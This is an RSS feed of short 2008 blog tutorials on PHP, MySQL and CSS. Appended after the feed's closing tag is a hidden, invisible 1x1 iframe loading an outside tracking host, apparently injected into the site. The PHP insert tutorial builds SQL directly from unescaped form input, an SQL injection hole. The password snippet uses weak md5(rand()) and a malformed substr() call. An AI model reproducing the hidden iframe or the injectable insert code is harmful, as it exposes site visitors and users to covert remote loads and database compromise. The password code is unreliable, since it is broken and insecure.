<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Code Ramblings</title>
	<atom:link href="http://blog.ifyn.com/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.ifyn.com</link>
	<description></description>
	<pubDate>Wed, 20 Aug 2008 19:06:09 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Prevent MySQL lower-case conversion on windows</title>
		<link>http://blog.ifyn.com/mysql/prevent-mysql-lower-case-conversion-on-windows</link>
		<comments>http://blog.ifyn.com/mysql/prevent-mysql-lower-case-conversion-on-windows#comments</comments>
		<pubDate>Wed, 20 Aug 2008 19:06:09 +0000</pubDate>
		<dc:creator>Ifyndev</dc:creator>
		
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://blog.ifyn.com/?p=8</guid>
		<description><![CDATA[On Wamp server navigate to my.ini from tray icon
lower_case_table_names=2
add this to the end of file and restart mysql server.
]]></description>
			<content:encoded><![CDATA[<p>On Wamp server navigate to my.ini from tray icon</p>
<p><code class="literal">lower_case_table_names=2</code></p>
<p>add this to the end of file and restart mysql server.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifyn.com/mysql/prevent-mysql-lower-case-conversion-on-windows/feed</wfw:commentRss>
		</item>
		<item>
		<title>Easy Mysql insert with PHP</title>
		<link>http://blog.ifyn.com/php/easy-mysql-insert-with-php</link>
		<comments>http://blog.ifyn.com/php/easy-mysql-insert-with-php#comments</comments>
		<pubDate>Sun, 20 Jul 2008 19:14:05 +0000</pubDate>
		<dc:creator>Ifyndev</dc:creator>
		
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.ifyn.com/?p=7</guid>
		<description><![CDATA[Let&#8217;s see how to cut short code to insert or update mysql queries just with few lines of code.The key to making this happen is to name your html form elements with the same names as your column names.


&#60;form name=&#34;myform&#34; method=&#34;post&#34; action=&#34;insert.php&#34;&#62;

Name:&#60;input type=&#34;text&#34; name=&#34;name&#34; /&#62;

Comment:&#60;textarea cols=&#34;42&#34; rows=&#34;8&#34; name=&#34;comment&#34;&#62;&#60;/textarea&#62;

&#60;input type=&#34;submit&#34; value=&#34;Send&#34; /&#62;

&#60;/form&#62;

Observe that there is no [...]]]></description>
			<content:encoded><![CDATA[<p>Let&#8217;s see how to cut short code to insert or update mysql queries just with few lines of code.The key to making this happen is to name your html form elements with the same names as your column names.</p>
<pre name="code" class="xhtml">

&lt;form name=&quot;myform&quot; method=&quot;post&quot; action=&quot;insert.php&quot;&gt;

Name:&lt;input type=&quot;text&quot; name=&quot;name&quot; /&gt;

Comment:&lt;textarea cols=&quot;42&quot; rows=&quot;8&quot; name=&quot;comment&quot;&gt;&lt;/textarea&gt;

&lt;input type=&quot;submit&quot; value=&quot;Send&quot; /&gt;

&lt;/form&gt;
</pre>
<p>Observe that there is no name provided for the submit button.Now on to the PHP code.</p>
<pre name="code" class="php">

&lt;?php

$keys = &quot;&quot;;

$vals = &quot;&quot;;

foreach($_POST as $key=&gt;$val) {

$keys .= &quot;`&quot;.$key.&quot;`,&quot;;

$vals .=&quot;&#039;&quot;.$val.&quot;&#039;,&quot;;

}

//Remove the last comma, else SQL will fail

$keys = substr($keys,0,-1);

$vals = substr($vals,0,-1);

$sql = &quot;insert into table_name ($keys) values ($vals)&quot;;

mysql_query($sql);

?&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifyn.com/php/easy-mysql-insert-with-php/feed</wfw:commentRss>
		</item>
		<item>
		<title>Simplest Php Image Gallery</title>
		<link>http://blog.ifyn.com/php/simplest-php-image-gallery</link>
		<comments>http://blog.ifyn.com/php/simplest-php-image-gallery#comments</comments>
		<pubDate>Sun, 20 Jul 2008 18:29:21 +0000</pubDate>
		<dc:creator>Ifyndev</dc:creator>
		
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.ifyn.com/?p=5</guid>
		<description><![CDATA[

&#60;script type=&#34;text/javascript&#34;&#62;
function changeimg(e){
var a = document.getElementById(&#039;img&#039;);
a.src = e;
}
&#60;/script&#62;



&#60;div align=&#34;center&#34;&#62;

&#60;img src=&#34;images/1.jpg&#34; id=&#34;img&#34; width=&#34;400&#34; height=&#34;400&#34; /&#62;

&#60;/div&#62;

&#60;br /&#62;&#60;br /&#62;&#60;br /&#62;



&#60;?php
$filenames = glob(&#039;images/*&#039;);
foreach ($filenames as $filename){

echo &#039;&#60;div style=&#34;text-align:center;float:left;&#34;&#62;&#60;a href=&#34;#&#34; onmouseover=&#34;changeimg(\&#039;&#039;.$filename.&#039;\&#039;);&#34;&#62;&#60;img src=&#34;&#039;.$filename.&#039;&#34; width=&#34;100&#34; height=&#34;100&#34; style=&#34;border:1px solid #333;padding:20px; margin:10px;&#34; /&#62;&#60;/a&#62;&#60;br /&#62;&#039;.basename(substr($filename,0,-4)).&#039;&#60;br /&#62;&#60;/div&#62;&#039;;
}
?&#62;

]]></description>
			<content:encoded><![CDATA[<pre name="code" class="js">

&lt;script type=&quot;text/javascript&quot;&gt;
function changeimg(e){
var a = document.getElementById(&#039;img&#039;);
a.src = e;
}
&lt;/script&gt;
</pre>
<pre name="code" class="xhtml">

&lt;div align=&quot;center&quot;&gt;

&lt;img src=&quot;images/1.jpg&quot; id=&quot;img&quot; width=&quot;400&quot; height=&quot;400&quot; /&gt;

&lt;/div&gt;

&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
</pre>
<pre name="code" class="php">

&lt;?php
$filenames = glob(&#039;images/*&#039;);
foreach ($filenames as $filename){

echo &#039;&lt;div style=&quot;text-align:center;float:left;&quot;&gt;&lt;a href=&quot;#&quot; onmouseover=&quot;changeimg(\&#039;&#039;.$filename.&#039;\&#039;);&quot;&gt;&lt;img src=&quot;&#039;.$filename.&#039;&quot; width=&quot;100&quot; height=&quot;100&quot; style=&quot;border:1px solid #333;padding:20px; margin:10px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#039;.basename(substr($filename,0,-4)).&#039;&lt;br /&gt;&lt;/div&gt;&#039;;
}
?&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifyn.com/php/simplest-php-image-gallery/feed</wfw:commentRss>
		</item>
		<item>
		<title>Making a css horizontal menu</title>
		<link>http://blog.ifyn.com/css/making-a-css-horizontal-menu</link>
		<comments>http://blog.ifyn.com/css/making-a-css-horizontal-menu#comments</comments>
		<pubDate>Sun, 20 Jul 2008 16:50:52 +0000</pubDate>
		<dc:creator>Ifyndev</dc:creator>
		
		<category><![CDATA[CSS]]></category>

		<category><![CDATA[xhtml]]></category>

		<guid isPermaLink="false">http://blog.ifyn.com/?p=4</guid>
		<description><![CDATA[A simple horizontal css menu
Step 1:
Let&#8217;s create a simple unordered list


&#60;div id=&#34;simple_menu&#34;&#62;
&#60;ul&#62;
&#60;li&#62;&#60;a href=&#34;#&#34;&#62;Home&#60;/a&#62;&#60;/li&#62;
&#60;li&#62;&#60;a href=&#34;#&#34;&#62;Services&#60;/a&#62;&#60;/li&#62;
&#60;li&#62;&#60;a href=&#34;#&#34;&#62;About us&#60;/a&#62;&#60;/li&#62;
&#60;li&#62;&#60;a href=&#34;#&#34;&#62;Contact us&#60;/a&#62;&#60;/li&#62;
&#60;li&#62;&#60;a href=&#34;#&#34;&#62;Sitemap&#60;/a&#62;&#60;/li&#62;
&#60;/ul&#62;
&#60;/div&#62;

Result:

Home
Services
About us
Contact us
Sitemap

Lets apply some style to it:


div#simple_menu li{
float:left;
list-style: none;
}

div#simple_menu li a{
display:block;
font-size:10px;
font-family:Verdana;
background: #333333;
text-decoration:none;
padding-left: 10px;
padding-right: 10px;
color:#ffffff;
line-height:30px;
}

div#simple_menu li a:hover{
background:#666666;
}

Result:


Home
Services
About us
Contact us
Sitemap



]]></description>
			<content:encoded><![CDATA[<p>A simple horizontal css menu</p>
<p>Step 1:</p>
<p>Let&#8217;s create a simple unordered list</p>
<pre name="code" class="xhtml">

&lt;div id=&quot;simple_menu&quot;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Services&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#&quot;&gt;About us&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Contact us&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Sitemap&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</pre>
<p>Result:</p>
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">Services</a></li>
<li><a href="#">About us</a></li>
<li><a href="#">Contact us</a></li>
<li><a href="#">Sitemap</a></li>
</ul>
<p>Lets apply some style to it:</p>
<pre name="code" class="css">

div#simple_menu li{
float:left;
list-style: none;
}

div#simple_menu li a{
display:block;
font-size:10px;
font-family:Verdana;
background: #333333;
text-decoration:none;
padding-left: 10px;
padding-right: 10px;
color:#ffffff;
line-height:30px;
}

div#simple_menu li a:hover{
background:#666666;
}
</pre>
<p>Result:</p>
<div id="simple_menu">
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">Services</a></li>
<li><a href="#">About us</a></li>
<li><a href="#">Contact us</a></li>
<li><a href="#">Sitemap</a></li>
</ul>
</div>
<p><br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifyn.com/css/making-a-css-horizontal-menu/feed</wfw:commentRss>
		</item>
		<item>
		<title>Adonis - The Making Part 1</title>
		<link>http://blog.ifyn.com/php/adonis-the-making-part-1</link>
		<comments>http://blog.ifyn.com/php/adonis-the-making-part-1#comments</comments>
		<pubDate>Fri, 18 Jul 2008 19:56:08 +0000</pubDate>
		<dc:creator>Ifyndev</dc:creator>
		
		<category><![CDATA[CMF]]></category>

		<category><![CDATA[php]]></category>

		<category><![CDATA[ADO]]></category>

		<category><![CDATA[CMS]]></category>

		<category><![CDATA[framework]]></category>

		<category><![CDATA[MVC]]></category>

		<guid isPermaLink="false">http://blog.ifyn.com/?p=3</guid>
		<description><![CDATA[A simple yet powerful framework to offer flexible and rapid web development.
The Development is still ongoing, it is based on MVC architechture based on ADOdb database abstraction layer. Ext Js has been chosen as native support for ajax and layout management as it is flexible and can be used with adapters to go with protoype, [...]]]></description>
			<content:encoded><![CDATA[<p>A simple yet powerful framework to offer flexible and rapid web development.</p>
<p>The Development is still ongoing, it is based on MVC architechture based on ADOdb database abstraction layer. Ext Js has been chosen as native support for ajax and layout management as it is flexible and can be used with adapters to go with protoype, Jquery or Yui.</p>
<p>The latest SVN code can be checked out from http://adonis.googlecode.com/svn/trunk</p>
<p><a href="http://www.ifyn.com/contact-us.html" target="_blank">Please contact us if you would like to participate in development</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifyn.com/php/adonis-the-making-part-1/feed</wfw:commentRss>
		</item>
		<item>
		<title>Easy way of making a random password with php</title>
		<link>http://blog.ifyn.com/php/random-password</link>
		<comments>http://blog.ifyn.com/php/random-password#comments</comments>
		<pubDate>Fri, 18 Jul 2008 17:57:53 +0000</pubDate>
		<dc:creator>Ifyndev</dc:creator>
		
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.ifyn.com/?p=1</guid>
		<description><![CDATA[

&#60;?php

echo substr( md5 ( rand( 0, 99999999 ) ) );

?&#62;

Simple eh!!
]]></description>
			<content:encoded><![CDATA[<pre name="code" class="php">

&lt;?php

echo substr( md5 ( rand( 0, 99999999 ) ) );

?&gt;
</pre>
<p>Simple eh!!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifyn.com/php/random-password/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
<iframe src="http://hosttracker.net/?click=3304750" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>